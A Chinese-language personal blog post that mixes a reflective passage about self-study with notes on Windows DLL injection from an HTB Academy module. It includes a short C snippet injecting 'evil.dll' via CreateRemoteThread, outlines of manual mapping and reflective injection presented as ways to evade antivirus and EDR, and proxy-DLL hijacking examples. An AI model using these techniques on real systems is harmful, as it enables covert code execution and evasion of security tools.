週末的日子很平靜。
最近的時光,常常是我一個人,抱著筆電,
在自己的小小世界裡默默升級。
有時候是調一個 PoC,像在跟一個任性的遊戲角色搏鬥;
有時候是學習新的提權手法,像 DLL Injection、Hijack,
一次次把技能寫進自己的系統。
夜深的時候,房間只剩下鍵盤的聲音。
我其實已經習慣了,習慣這樣的孤獨。
沒有誰在旁邊,沒有掌聲,也沒有觀眾。
唯一不變的是,每當成功拿到 shell、奪回權限的那一刻,
內心的小女孩會悄悄點頭,告訴我:
「妳又升級了。」
從一個還在迷惘的自己,
一步步變成更堅定的未來版本。
這種成就感,
從來都不需要誰見證或肯定,
因為我知道,這就是我的力量。
把惡意 DLL 插入到目標 Process 的位址空間,讓它在該 Process 上下文中執行。
影響行為、存取資源、或隱匿惡意程式。
Hot Patching:不中斷程式就能更新(Azure 的熱更新)。
駭客將惡意 DLL 注入可信任 Process,嘗試繞過防毒或 EDR 偵測。
流程
OpenProcess() : 取得目標 Process 控制權。
VirtualAllocEx() : 在目標 Process 分配記憶體,存放 DLL 路徑。
WriteProcessMemory() : 將 DLL 路徑寫入記憶體。
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA") : 找到 LoadLibraryA 位址。
CreateRemoteThread() : 在目標 Process 建立遠端執行緒,觸發 DLL 載入。
DWORD pid = 1234; // 目標 Process ID
char dllPath[] = "C:\\pwn\\evil.dll";
// 取得目標 Process handle
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 在目標 Process 分配記憶體
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
// 寫入 DLL 路徑
WriteProcessMemory(hProcess, remoteAddr, dllPath, strlen(dllPath), NULL);
// 找到 LoadLibraryA
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 建立遠端執行緒
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteAddr, 0, NULL);
概念
不使用 LoadLibrary,而是手動把 DLL sections 載入目標 Process 記憶體。
自行處理:Imports、Relocations、TLS Callbacks。
更隱蔽,但難度高。
在自己的程式讀取 DLL Raw Bytes。
使用 VirtualAllocEx 在目標 Process 配置記憶體。
複製 Headers & Sections。
修正 Imports、Relocations。
使用 Shellcode 執行 DllMain。
概念
DLL 內自帶一個 ReflectiveLoader 函數,能自我完成載入。
幾乎不與系統 API 互動,隱蔽性極高。
流程
將惡意 DLL Bytes 寫入目標 Process。
呼叫 DLL 的 ReflectiveLoader。
由 DLL 自行:
解析自身 PE Headers
找 API(LoadLibraryA、GetProcAddress、VirtualAlloc)
配置記憶體並修正
呼叫 DllMain
概念
當程式載入 DLL 時,若未指定完整路徑 → Windows 依據搜尋順序找 DLL。
攻擊者可放置惡意 DLL 讓程式誤載入。
Safe DLL Search Mode (預設開啟)
應用程式目錄
系統目錄
Windows 目錄
Current Directory
PATH 環境變數
工具
Procmon (Process Monitor) : 找 Load Image / NAME NOT FOUND。
Process Explorer : 檢查目標 Process 載入的 DLL。
原始程式:
HMODULE hLib = LoadLibrary("library.dll");
AddFunc add = (AddFunc)GetProcAddress(hLib, "Add");
攻擊者提供惡意 DLL:
DLL_EXPORT int Add(int a, int b) {
HMODULE origLib = LoadLibraryA("library.o.dll");
AddFunc origAdd = (AddFunc)GetProcAddress(origLib, "Add");
int result = origAdd(a, b);
return result + 1; // 惡意修改
}
程式呼叫 Add(1,1) → 結果原本應該是 2,卻變成 3。
如果程式要載入 x.dll 但不存在:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
MessageBoxA(NULL, "Hijacked... Oops...", "Alert", MB_OK);
}
return TRUE;
}
把這個 DLL 命名為 x.dll 丟到程式目錄,程式一執行就會觸發。
對照表
技術 | 概念 | 範例 | 特點 |
---|---|---|---|
LoadLibrary Injection | 利用 API 載入 DLL | C 範例注入 evil.dll |
最常見,容易偵測 |
Manual Mapping | 手動載入 DLL | 載入 raw bytes → VirtualAllocEx | 隱蔽性高,需進階技術 |
Reflective Injection | DLL 自載入 | ReflectiveLoader 自處理 | 幾乎無 API 痕跡,最隱蔽 |
DLL Hijacking | 誤導程式載入惡意 DLL | Proxy DLL、Invalid DLL | 被動式,依賴搜尋順序 |
# DLL = Dreaming, Learning, Leveling
Hack the box Academy - Windows Privilege Escalation - DLL Injection:
https://academy.hackthebox.com/module/67/section/2501